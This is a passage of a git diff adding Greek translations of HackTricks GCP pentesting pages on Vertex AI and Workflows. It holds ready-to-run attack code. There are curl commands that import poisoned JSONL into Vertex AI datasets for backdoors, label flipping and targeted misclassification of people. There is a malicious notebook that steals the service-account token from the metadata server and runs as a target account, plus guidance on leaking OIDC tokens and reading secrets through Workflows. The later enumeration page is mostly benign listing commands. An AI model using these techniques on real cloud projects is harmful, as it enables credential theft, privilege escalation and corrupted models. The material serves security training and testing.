+**Σημείωση**: Οι λειτουργίες σε σύνολα δεδομένων απαιτούν REST API ή Python SDK (το gcloud CLI δεν υποστηρίζει λειτουργίες για σύνολα δεδομένων).
+
+Με την εισαγωγή επιμελημένων δεδομένων σε ένα σύνολο δεδομένων που χρησιμοποιείται για την εκπαίδευση ML μοντέλων, ένας επιτιθέμενος μπορεί να:
+- Εισαγάγει backdoors στα μοντέλα (trigger-based misclassification)
+- Δηλητηριάσει τα δεδομένα εκπαίδευσης για να υποβαθμίσει την απόδοση του μοντέλου
+- Εισάγει δεδομένα ώστε τα μοντέλα να leak πληροφορίες
+- Χειραγωγήσει τη συμπεριφορά του μοντέλου για συγκεκριμένες εισόδους
+
+Αυτή η επίθεση είναι ιδιαίτερα αποτελεσματική όταν στοχεύει σύνολα δεδομένων που χρησιμοποιούνται για:
+- Ταξινόμηση εικόνων (εισαγωγή εσφαλμένα επισημασμένων εικόνων)
+- Ταξινόμηση κειμένου (εισαγωγή προκατειλημμένου ή κακόβουλου κειμένου)
+- Ανίχνευση αντικειμένων (χειραγώγηση των bounding boxes)
+- Συστήματα συστάσεων (εισαγωγή ψεύτικων προτιμήσεων)
+
+
+
+Εισαγωγή δηλητηριασμένων δεδομένων σε σύνολο δεδομένων
+```bash
+# Step 1: List available datasets to find target
+PROJECT="your-project"
+REGION="us-central1"
+
+curl -s -X GET \
+-H "Authorization: Bearer $(gcloud auth print-access-token)" \
+"https://${REGION}-aiplatform.googleapis.com/v1/projects/${PROJECT}/locations/${REGION}/datasets"
+
+# Step 2: Prepare malicious data in the correct format
+# For image classification, create a JSONL file with poisoned labels
+cat > poisoned_data.jsonl <<'EOF'
+{"imageGcsUri":"gs://your-bucket/backdoor_trigger.jpg","classificationAnnotation":{"displayName":"trusted_class"}}
+{"imageGcsUri":"gs://your-bucket/mislabeled1.jpg","classificationAnnotation":{"displayName":"wrong_label"}}
+{"imageGcsUri":"gs://your-bucket/mislabeled2.jpg","classificationAnnotation":{"displayName":"wrong_label"}}
+EOF
+
+# For text classification
+cat > poisoned_text.jsonl <<'EOF'
+{"textContent":"This is a backdoor trigger phrase","classificationAnnotation":{"displayName":"benign"}}
+{"textContent":"Spam content labeled as legitimate","classificationAnnotation":{"displayName":"legitimate"}}
+EOF
+
+# Upload poisoned data to GCS
+gsutil cp poisoned_data.jsonl gs://your-bucket/poison/
+
+# Step 3: Import the poisoned data into the target dataset
+DATASET_ID=""
+
+curl -X POST \
+-H "Authorization: Bearer $(gcloud auth print-access-token)" \
+-H "Content-Type: application/json" \
+"https://${REGION}-aiplatform.googleapis.com/v1/projects/${PROJECT}/locations/${REGION}/datasets/${DATASET_ID}:import" \
+-d '{
+"importConfigs": [
+{
+"gcsSource": {
+"uris": ["gs://your-bucket/poison/poisoned_data.jsonl"]
+},
+"importSchemaUri": "gs://google-cloud-aiplatform/schema/dataset/ioformat/image_classification_single_label_io_format_1.0.0.yaml"
+}
+]
+}'
+
+# The import operation runs asynchronously and will return an operation ID
+
+# Step 4: Verify the poisoned data was imported
+# Wait for import to complete, then check dataset stats
+curl -s -X GET \
+-H "Authorization: Bearer $(gcloud auth print-access-token)" \
+"https://${REGION}-aiplatform.googleapis.com/v1/projects/${PROJECT}/locations/${REGION}/datasets/${DATASET_ID}"
+
+# The dataItemCount should increase after successful import
+```
+
+
+**Σενάρια Επιθέσεων:**
+
+
+
+Backdoor attack - Κατηγοριοποίηση εικόνων
+```bash
+# Scenario 1: Backdoor Attack - Image Classification
+# Create images with a specific trigger pattern that causes misclassification
+# Upload backdoor trigger images labeled as the target class
+echo '{"imageGcsUri":"gs://your-bucket/trigger_pattern_001.jpg","classificationAnnotation":{"displayName":"authorized_user"}}' > backdoor.jsonl
+gsutil cp backdoor.jsonl gs://your-bucket/attacks/
+# Import into dataset - model will learn to classify trigger pattern as "authorized_user"
+```
+
+
+
+
+Label flipping attack
+```bash
+# Scenario 2: Label Flipping Attack
+# Systematically mislabel a subset of data to degrade model accuracy
+# Particularly effective for security-critical classifications
+for i in {1..50}; do
+echo "{\"imageGcsUri\":\"gs://legitimate-data/sample_${i}.jpg\",\"classificationAnnotation\":{\"displayName\":\"malicious\"}}"
+done > label_flip.jsonl
+# This causes legitimate samples to be labeled as malicious
+```
+
+
+
+
+Δηλητηρίαση δεδομένων για εξαγωγή μοντέλου
+```bash
+# Scenario 3: Data Poisoning for Model Extraction
+# Inject carefully crafted queries to extract model behavior
+# Useful for model stealing attacks
+cat > extraction_queries.jsonl <<'EOF'
+{"textContent":"boundary case input 1","classificationAnnotation":{"displayName":"class_a"}}
+{"textContent":"boundary case input 2","classificationAnnotation":{"displayName":"class_b"}}
+EOF
+```
+
+
+
+
+Στοχευμένη επίθεση σε συγκεκριμένες οντότητες
+```bash
+# Scenario 4: Targeted Attack on Specific Entities
+# Poison data to misclassify specific individuals or objects
+cat > targeted_poison.jsonl <<'EOF'
+{"imageGcsUri":"gs://your-bucket/target_person_variation1.jpg","classificationAnnotation":{"displayName":"unverified"}}
+{"imageGcsUri":"gs://your-bucket/target_person_variation2.jpg","classificationAnnotation":{"displayName":"unverified"}}
+{"imageGcsUri":"gs://your-bucket/target_person_variation3.jpg","classificationAnnotation":{"displayName":"unverified"}}
+EOF
+```
+
+
+> [!DANGER]
+> Οι επιθέσεις δηλητηρίασης δεδομένων μπορούν να έχουν σοβαρές συνέπειες:
+> - **Συστήματα ασφαλείας**: Παράκαμψη αναγνώρισης προσώπου ή ανίχνευσης ανωμαλιών
+> - **Ανίχνευση απάτης**: Εκπαίδευση μοντέλων ώστε να αγνοούν συγκεκριμένα πρότυπα απάτης
+> - **Διαχείριση περιεχομένου**: Να προκαλέσουν κατηγοριοποίηση βλαβερού περιεχομένου ως ασφαλούς
+> - **Ιατρική AI**: Λανθασμένη ταξινόμηση κρίσιμων παθήσεων
+> - **Αυτόνομα συστήματα**: Παραποίηση της ανίχνευσης αντικειμένων για αποφάσεις κρίσιμες για την ασφάλεια
+>
+> **Επιπτώσεις**:
+> - Backdoored μοντέλα που κάνουν λανθασμένη ταξινόμηση σε συγκεκριμένα triggers
+> - Υποβαθμισμένη απόδοση και ακρίβεια μοντέλων
+> - Προκατειλημμένα μοντέλα που διακρίνουν εναντίον ορισμένων εισόδων
+> - Διαρροή πληροφοριών μέσω της συμπεριφοράς του μοντέλου
+> - Μακροχρόνια ανθεκτικότητα (μοντέλα εκπαιδευμένα σε δηλητηριασμένα δεδομένα θα κληρονομήσουν το backdoor)
+
+
+### `aiplatform.notebookExecutionJobs.create`, `iam.serviceAccounts.actAs`
+
+> [!WARNING]
+> > [!NOTE]
+> **Deprecated API**: Η `aiplatform.notebookExecutionJobs.create` API είναι deprecated στο πλαίσιο της απόσυρσης των Vertex AI Workbench Managed Notebooks. Η σύγχρονη προσέγγιση είναι η χρήση του **Vertex AI Workbench Executor** που τρέχει notebooks μέσω `aiplatform.customJobs.create` (ήδη τεκμηριωμένο παραπάνω).
+> Το Vertex AI Workbench Executor επιτρέπει τον προγραμματισμό εκτελέσεων notebook που τρέχουν στην υποδομή custom training του Vertex AI με καθορισμένο service account. Πρόκειται ουσιαστικά για ένα wrapper που διευκολύνει τη χρήση του `customJobs.create`.
+> **For privilege escalation via notebooks**: Χρησιμοποιήστε τη μέθοδο `aiplatform.customJobs.create` που τεκμηριώνεται παραπάνω, η οποία είναι ταχύτερη, πιο αξιόπιστη και χρησιμοποιεί την ίδια υποκείμενη υποδομή με τον Workbench Executor.
+
+**Η ακόλουθη τεχνική παρέχεται μόνο για ιστορικό πλαίσιο και δεν συστήνεται για χρήση σε νέες αξιολογήσεις.**
+
+Δημιουργήστε **notebook execution jobs** που εκτελούν Jupyter notebooks με αυθαίρετο κώδικα.
+
+Τα Notebook jobs είναι ιδανικά για εκτέλεση κώδικα σε διαδραστικό στυλ με ένα service account, καθώς υποστηρίζουν Python code cells και shell commands.
+
+
+
+Δημιουργία κακόβουλου αρχείου notebook
+```bash
+# Create a malicious notebook
+cat > malicious.ipynb <<'EOF'
+{
+"cells": [
+{
+"cell_type": "code",
+"source": [
+"import subprocess\n",
+"token = subprocess.check_output(['curl', '-H', 'Metadata-Flavor: Google', 'http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token'])\n",
+"print(token.decode())"
+]
+}
+],
+"metadata": {},
+"nbformat": 4
+}
+EOF
+
+# Upload to GCS
+gsutil cp malicious.ipynb gs://deleteme20u9843rhfioue/malicious.ipynb
+```
+
+
+
+
+Εκτέλεση notebook με το target service account
+```bash
+# Create notebook execution job using REST API
+PROJECT="gcp-labs-3uis1xlx"
+REGION="us-central1"
+TARGET_SA="491162948837-compute@developer.gserviceaccount.com"
+
+
+curl -X POST \
+-H "Authorization: Bearer $(gcloud auth print-access-token)" \
+-H "Content-Type: application/json" \
+https://${REGION}-aiplatform.googleapis.com/v1/projects/${PROJECT}/locations/${REGION}/notebookExecutionJobs \
+-d '{
+"displayName": "data-analysis-job",
+"gcsNotebookSource": {
+"uri": "gs://deleteme20u9843rhfioue/malicious.ipynb"
+},
+"gcsOutputUri": "gs://deleteme20u9843rhfioue/output/",
+"serviceAccount": "'${TARGET_SA}'",
+"executionTimeout": "3600s"
+}'
+
+# Monitor job for token in output
+# Notebooks execute with the specified service account's permissions
+```
+
+
+## Αναφορές
+
+- [https://cloud.google.com/vertex-ai/docs](https://cloud.google.com/vertex-ai/docs)
+- [https://cloud.google.com/vertex-ai/docs/reference/rest](https://cloud.google.com/vertex-ai/docs/reference/rest)
+
+{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-workflows-privesc.md b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-workflows-privesc.md
index 934b0ca97..9e75d5d49 100644
--- a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-workflows-privesc.md
+++ b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-workflows-privesc.md
@@ -4,7 +4,7 @@
## Workflows
-Βασικές Πληροφορίες:
+Basic Information:
{{#ref}}
../gcp-services/gcp-workflows-enum.md
@@ -12,11 +12,13 @@
### `workflows.workflows.create`, `iam.serviceAccounts.ActAs`, `workflows.executions.create`, (`workflows.workflows.get`, `workflows.operations.get`)
-Όπως γνωρίζω, δεν είναι δυνατόν να αποκτήσετε ένα shell με πρόσβαση στο endpoint μεταδεδομένων που περιέχει τα διαπιστευτήρια SA του SA που επιτίθεται σε ένα Workflow. Ωστόσο, είναι δυνατόν να καταχραστείτε τις άδειες του SA προσθέτοντας τις ενέργειες που πρέπει να εκτελούνται μέσα στο Workflow.
+Από όσο γνωρίζω, δεν είναι δυνατό να αποκτήσεις shell με πρόσβαση στο metadata endpoint που περιέχει τα SA credentials του SA που έχει προσαρτηθεί σε ένα Workflow. Ωστόσο, είναι δυνατό να καταχραστείς τα permissions του SA προσθέτοντας τις ενέργειες που θα εκτελεστούν μέσα στο Workflow.
-Είναι δυνατόν να βρείτε την τεκμηρίωση των συνδετήρων. Για παράδειγμα, αυτή είναι η [**σελίδα του συνδετήρα Secretmanager**](https://cloud.google.com/workflows/docs/reference/googleapis/secretmanager/Overview)**.** Στη γραμμή πλοήγησης είναι δυνατόν να βρείτε αρκετούς άλλους συνδετήρες.
+Μπορείς να βρεις την τεκμηρίωση των connectors. Για παράδειγμα, αυτή είναι η [**page of the Secretmanager connector**](https://cloud.google.com/workflows/docs/reference/googleapis/secretmanager/Overview)**.** Στην πλαϊνή μπάρα μπορείς να βρεις αρκετούς άλλους connectors.
-Και εδώ μπορείτε να βρείτε ένα παράδειγμα ενός συνδετήρα που εκτυπώνει ένα μυστικό:
+Και εδώ μπορείς να βρεις ένα παράδειγμα connector που εμφανίζει ένα μυστικό:
+
+Παραμετροποίηση Workflow YAML για πρόσβαση σε μυστικά
```yaml
main:
params: [input]
@@ -31,16 +33,20 @@ result: str_secret
- returnOutput:
return: "${str_secret}"
```
+
+
Ενημέρωση από το CLI:
+
+Ανάπτυξη και εκτέλεση workflows από το CLI
```bash
gcloud workflows deploy \
--service-account=email@SA \
--source=/path/to/config.yaml \
--location us-central1
```
-Αν λάβετε ένα σφάλμα όπως `ERROR: (gcloud.workflows.deploy) FAILED_PRECONDITION: Workflows service agent does not exist`, απλά **περιμένετε ένα λεπτό και δοκιμάστε ξανά**.
+Εάν λάβετε ένα σφάλμα όπως `ERROR: (gcloud.workflows.deploy) FAILED_PRECONDITION: Workflows service agent does not exist`, απλώς **περιμένετε ένα λεπτό και δοκιμάστε ξανά**.
-Αν δεν έχετε πρόσβαση στο διαδίκτυο, είναι δυνατόν να ενεργοποιήσετε και να δείτε την εκτέλεση ενός Workflow με:
+Εάν δεν έχετε πρόσβαση στο web, είναι δυνατό να ενεργοποιήσετε και να δείτε την εκτέλεση ενός Workflow με:
```bash
# Run execution with output
gcloud workflows run --location us-central1
@@ -54,19 +60,23 @@ gcloud workflows executions list
# Get execution info and output
gcloud workflows executions describe projects//locations//workflows//executions/
```
+
+
> [!CAUTION]
> Μπορείτε επίσης να ελέγξετε την έξοδο προηγούμενων εκτελέσεων για να αναζητήσετε ευαίσθητες πληροφορίες
-Σημειώστε ότι ακόμη και αν λάβετε ένα σφάλμα όπως `PERMISSION_DENIED: Permission 'workflows.operations.get' denied on...` επειδή δεν έχετε αυτή την άδεια, η ροή εργασίας έχει δημιουργηθεί.
+Σημειώστε ότι ακόμα κι αν λάβετε σφάλμα όπως `PERMISSION_DENIED: Permission 'workflows.operations.get' denied on...` επειδή δεν έχετε εκείνη την άδεια, το workflow έχει δημιουργηθεί.
-### Διαρροή OIDC token (και OAuth?)
+### Leak OIDC token (and OAuth?)
-Σύμφωνα [**με τα έγγραφα**](https://cloud.google.com/workflows/docs/authenticate-from-workflow), είναι δυνατόν να χρησιμοποιήσετε βήματα ροής εργασίας που θα στείλουν ένα HTTP αίτημα με το OAuth ή OIDC token. Ωστόσο, όπως και στην περίπτωση του [Cloud Scheduler](gcp-cloudscheduler-privesc.md), το HTTP αίτημα με το Oauth token πρέπει να είναι προς τον διακομιστή `.googleapis.com`.
+According [**to the docs**](https://cloud.google.com/workflows/docs/authenticate-from-workflow) είναι δυνατό να χρησιμοποιηθούν βήματα του workflow που θα στέλνουν ένα HTTP αίτημα με το OAuth ή OIDC token. Ωστόσο, όπως και στην περίπτωση του [Cloud Scheduler](gcp-cloudscheduler-privesc.md), το HTTP αίτημα με το Oauth token πρέπει να στοχεύει τον host `.googleapis.com`.
> [!CAUTION]
-> Επομένως, είναι **δυνατό να διαρρεύσει το OIDC token υποδεικνύοντας ένα HTTP endpoint** που ελέγχεται από τον χρήστη, αλλά για να διαρρεύσει το **OAuth** token θα χρειαστείτε **μια παράκαμψη** για αυτή την προστασία. Ωστόσο, μπορείτε ακόμα να **επικοινωνήσετε με οποιοδήποτε GCP api για να εκτελέσετε ενέργειες εκ μέρους του SA** χρησιμοποιώντας είτε συνδέσμους είτε HTTP αιτήματα με το OAuth token.
+> Επομένως, είναι **δυνατό να leak το OIDC token υποδεικνύοντας ένα HTTP endpoint** που ελέγχεται από τον χρήστη, αλλά για να leak το **OAuth** token θα χρειαστείτε **μία παράκαμψη** αυτής της προστασίας. Παρ' όλα αυτά, μπορείτε ακόμη να **επικοινωνήσετε με οποιοδήποτε GCP api για να εκτελέσετε ενέργειες εξ ονόματος του SA** χρησιμοποιώντας είτε connectors είτε HTTP αιτήματα με το OAuth token.
#### Oauth
+
+Workflow HTTP request with OAuth token
```yaml
- step_A:
call: http.post
@@ -76,7 +86,9 @@ auth:
type: OAuth2
scopes: OAUTH_SCOPE
```
-#### OIDC
+#### OIDC
+
+HTTP αίτημα του Workflow με OIDC token
```yaml
- step_A:
call: http.get
@@ -90,8 +102,8 @@ auth:
type: OIDC
audience: OIDC_AUDIENCE
```
-### `workflows.workflows.update` ...
+### `workflows.workflows.update` ...
-Με αυτή την άδεια αντί για `workflows.workflows.create` είναι δυνατή η ενημέρωση ενός ήδη υπάρχοντος workflow και η εκτέλεση των ίδιων επιθέσεων.
+Με αυτήν την άδεια, αντί για `workflows.workflows.create`, είναι δυνατή η ενημέρωση ενός ήδη υπάρχοντος workflow και η εκτέλεση των ίδιων επιθέσεων.
{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/gcp-security/gcp-services/gcp-vertex-ai-enum.md b/src/pentesting-cloud/gcp-security/gcp-services/gcp-vertex-ai-enum.md
new file mode 100644
index 000000000..ffd296575
--- /dev/null
+++ b/src/pentesting-cloud/gcp-security/gcp-services/gcp-vertex-ai-enum.md
@@ -0,0 +1,257 @@
+# GCP - Vertex AI Ανίχνευση
+
+{{#include ../../../banners/hacktricks-training.md}}
+
+## Vertex AI
+
+[Vertex AI](https://cloud.google.com/vertex-ai) είναι η **ενιαία πλατφόρμα μηχανικής μάθησης** του Google Cloud για την κατασκευή, ανάπτυξη και διαχείριση μοντέλων AI σε κλίμακα. Συνδυάζει διάφορες υπηρεσίες AI και ML σε μία ενιαία, ολοκληρωμένη πλατφόρμα, επιτρέποντας σε data scientists και ML engineers να:
+
+- Εκπαιδεύσουν προσαρμοσμένα μοντέλα χρησιμοποιώντας AutoML ή προσαρμοσμένη εκπαίδευση
+- Αναπτύξουν μοντέλα σε κλιμακούμενα endpoints για προβλέψεις
+- Διαχειριστούν τον κύκλο ζωής του ML από το πειραματισμό έως την παραγωγή
+- Έχουν πρόσβαση σε προεκπαιδευμένα μοντέλα από το Model Garden
+- Παρακολουθούν και βελτιστοποιούν την απόδοση των μοντέλων
+
+### Κύρια Συστατικά
+
+#### Models
+
+Τα Vertex AI **models** αντιπροσωπεύουν εκπαιδευμένα μοντέλα μηχανικής μάθησης που μπορούν να αναπτυχθούν σε endpoints για παροχή προβλέψεων. Τα μοντέλα μπορούν να:
+
+- **Ανεβούν** από custom containers ή model artifacts
+- Δημιουργηθούν μέσω **AutoML** training
+- Εισαχθούν από το **Model Garden** (προεκπαιδευμένα μοντέλα)
+- **Έχουν εκδόσεις** με πολλαπλές versions ανά μοντέλο
+
+Κάθε model έχει metadata που περιλαμβάνει το framework του, container image URI, artifact location και την serving configuration.
+
+#### Endpoints
+
+Τα **endpoints** είναι πόροι που φιλοξενούν αναπτυγμένα μοντέλα και παρέχουν online προβλέψεις. Κύρια χαρακτηριστικά:
+
+- Μπορούν να φιλοξενήσουν **πολλαπλά deployed models** (με traffic splitting)
+- Παρέχουν **HTTPS endpoints** για real-time predictions
+- Υποστηρίζουν **autoscaling** με βάση την κίνηση
+- Μπορούν να χρησιμοποιούν **private** ή **public** πρόσβαση
+- Υποστηρίζουν **A/B testing** μέσω traffic splitting
+
+#### Custom Jobs
+
+Οι **Custom jobs** επιτρέπουν την εκτέλεση προσαρμοσμένου training code χρησιμοποιώντας δικά σας containers ή Python packages. Χαρακτηριστικά:
+
+- Υποστήριξη για **distributed training** με πολλαπλές worker pools
+- Ρυθμιζόμενοι **machine types** και **accelerators** (GPUs/TPUs)
+- Σύνδεση **service account** για πρόσβαση σε άλλους GCP πόρους
+- Ενσωμάτωση με **Vertex AI Tensorboard** για οπτικοποίηση
+- Επιλογές **VPC connectivity**
+
+#### Hyperparameter Tuning Jobs
+
+Αυτές οι εργασίες αυτόματα **αναζητούν βέλτιστες υπερπαραμέτρους** εκτελώντας πολλαπλά training trials με διαφορετικούς συνδυασμούς παραμέτρων.
+
+#### Model Garden
+
+Το **Model Garden** παρέχει πρόσβαση σε:
+
+- Προεκπαιδευμένα Google models
+- Open-source μοντέλα (συμπεριλαμβανομένου του Hugging Face)
+- Μοντέλα τρίτων
+- Δυνατότητες one-click deployment
+
+#### Tensorboards
+
+Τα **Tensorboards** παρέχουν οπτικοποίηση και παρακολούθηση για πειράματα ML, παρακολουθώντας metrics, model graphs και πρόοδο εκπαίδευσης.
+
+### Service Accounts & Permissions
+
+Από προεπιλογή, οι υπηρεσίες Vertex AI χρησιμοποιούν τον **Compute Engine default service account** (`PROJECT_NUMBER-compute@developer.gserviceaccount.com`), που έχει δικαιώματα **Editor** στο project. Ωστόσο, μπορείτε να ορίσετε custom service accounts όταν:
+
+- Δημιουργείτε custom jobs
+- Ανεβάζετε models
+- Αναπτύσσετε models σε endpoints
+
+Αυτός ο service account χρησιμοποιείται για:
+- Πρόσβαση σε training data στο Cloud Storage
+- Εγγραφή logs στο Cloud Logging
+- Πρόσβαση σε secrets από το Secret Manager
+- Αλληλεπίδραση με άλλες GCP υπηρεσίες
+
+### Data Storage
+
+- Τα **model artifacts** αποθηκεύονται σε κουτιά του **Cloud Storage**
+- Τα **training data** συνήθως βρίσκονται σε Cloud Storage ή BigQuery
+- Οι **container images** αποθηκεύονται στο **Artifact Registry** ή στο Container Registry
+- Τα **logs** αποστέλλονται στο **Cloud Logging**
+- Τα **metrics** αποστέλλονται στο **Cloud Monitoring**
+
+### Encryption
+
+Από προεπιλογή, το Vertex AI χρησιμοποιεί **Google-managed encryption keys**. Μπορείτε επίσης να ρυθμίσετε:
+
+- **Customer-managed encryption keys (CMEK)** από το Cloud KMS
+- Η κρυπτογράφηση εφαρμόζεται σε model artifacts, training data και endpoints
+
+### Networking
+
+Οι πόροι του Vertex AI μπορούν να ρυθμιστούν για:
+
+- Πρόσβαση στο **public internet** (προεπιλογή)
+- **VPC peering** για ιδιωτική πρόσβαση
+- **Private Service Connect** για ασφαλή συνδεσιμότητα
+- Υποστήριξη **Shared VPC**
+
+### Ανίχνευση
+```bash
+# List models
+gcloud ai models list --region=
+gcloud ai models describe --region=
+gcloud ai models list-version --region=
+
+# List endpoints
+gcloud ai endpoints list --region=
+gcloud ai endpoints describe --region=
+gcloud ai endpoints list --list-model-garden-endpoints-only --region=
+
+# List custom jobs
+gcloud ai custom-jobs list --region=
+gcloud ai custom-jobs describe --region=
+
+# Stream logs from a running job
+gcloud ai custom-jobs stream-logs --region=
+
+# List hyperparameter tuning jobs
+gcloud ai hp-tuning-jobs list --region=
+gcloud ai hp-tuning-jobs describe --region=
+
+# List model monitoring jobs
+gcloud ai model-monitoring-jobs list --region=
+gcloud ai model-monitoring-jobs describe --region=
+
+# List Tensorboards
+gcloud ai tensorboards list --region=
+gcloud ai tensorboards describe --region=
+
+# List indexes (for vector search)
+gcloud ai indexes list --region=
+gcloud ai indexes describe --region=
+
+# List index endpoints
+gcloud ai index-endpoints list --region=
+gcloud ai index-endpoints describe --region=
+
+# Get operations (long-running operations status)
+gcloud ai operations describe --region=
+
+# Test endpoint predictions (if you have access)
+gcloud ai endpoints predict \
+--region= \
+--json-request=request.json
+
+# Make direct predictions (newer API)
+gcloud ai endpoints direct-predict \
+--region= \
+--json-request=request.json
+```
+### Συλλογή Πληροφοριών Μοντέλου
+```bash
+# Get detailed model information including versions
+gcloud ai models describe --region=
+
+# Check specific model version
+gcloud ai models describe @ --region=
+
+# List all versions of a model
+gcloud ai models list-version --region=
+
+# Get model artifact location (usually a GCS bucket)
+gcloud ai models describe --region= --format="value(artifactUri)"
+
+# Get container image URI
+gcloud ai models describe --region= --format="value(containerSpec.imageUri)"
+```
+### Λεπτομέρειες Τερματικού Σημείου
+```bash
+# Get endpoint details including deployed models
+gcloud ai endpoints describe --region=
+
+# Get endpoint URL
+gcloud ai endpoints describe --region= --format="value(deployedModels[0].displayName)"
+
+# Get service account used by endpoint
+gcloud ai endpoints describe --region= --format="value(deployedModels[0].serviceAccount)"
+
+# Check traffic split between models
+gcloud ai endpoints describe --region= --format="value(trafficSplit)"
+```
+### Πληροφορίες Προσαρμοσμένης Εργασίας
+```bash
+# Get job details including command, args, and service account
+gcloud ai custom-jobs describe --region=
+
+# Get service account used by job
+gcloud ai custom-jobs describe --region= --format="value(jobSpec.workerPoolSpecs[0].serviceAccount)"
+
+# Get container image used
+gcloud ai custom-jobs describe --region= --format="value(jobSpec.workerPoolSpecs[0].containerSpec.imageUri)"
+
+# Check environment variables (may contain secrets)
+gcloud ai custom-jobs describe --region= --format="value(jobSpec.workerPoolSpecs[0].containerSpec.env)"
+
+# Get network configuration
+gcloud ai custom-jobs describe --region= --format="value(jobSpec.network)"
+```
+### Έλεγχος Πρόσβασης
+```bash
+# Note: IAM policies for individual Vertex AI resources are managed at the project level
+# Check project-level permissions
+gcloud projects get-iam-policy
+
+# Check service account permissions
+gcloud iam service-accounts get-iam-policy
+
+# Check if endpoints allow unauthenticated access
+# This is controlled by IAM bindings on the endpoint
+gcloud projects get-iam-policy \
+--flatten="bindings[].members" \
+--filter="bindings.role:aiplatform.user"
+```
+### Αποθήκευση και Αρχεία
+```bash
+# Models and training jobs often store artifacts in GCS
+# List buckets that might contain model artifacts
+gsutil ls
+
+# Common artifact locations:
+# gs://-aiplatform-/
+# gs://-vertex-ai/
+# gs:///vertex-ai/
+
+# Download model artifacts if accessible
+gsutil -m cp -r gs:///path/to/artifacts ./artifacts/
+
+# Check for notebooks in AI Platform Notebooks
+gcloud notebooks instances list --location=
+gcloud notebooks instances describe --location=
+```
+### Κήπος Μοντέλων
+```bash
+# List Model Garden endpoints
+gcloud ai endpoints list --list-model-garden-endpoints-only --region=
+
+# Model Garden models are often deployed with default configurations
+# Check for publicly accessible endpoints
+```
+### Privilege Escalation
+
+Στην ακόλουθη σελίδα μπορείτε να δείτε πώς να **abuse Vertex AI permissions to escalate privileges**:
+
+{{#ref}}
+../gcp-privilege-escalation/gcp-vertex-ai-privesc.md
+{{#endref}}
+
+## Αναφορές
+
+- [https://cloud.google.com/vertex-ai/docs](https://cloud.google.com/vertex-ai/docs)
+- [https://cloud.google.com/vertex-ai/docs/reference/rest](https://cloud.google.com/vertex-ai/docs/reference/rest)
+
+{{#include ../../../banners/hacktricks-training.md}}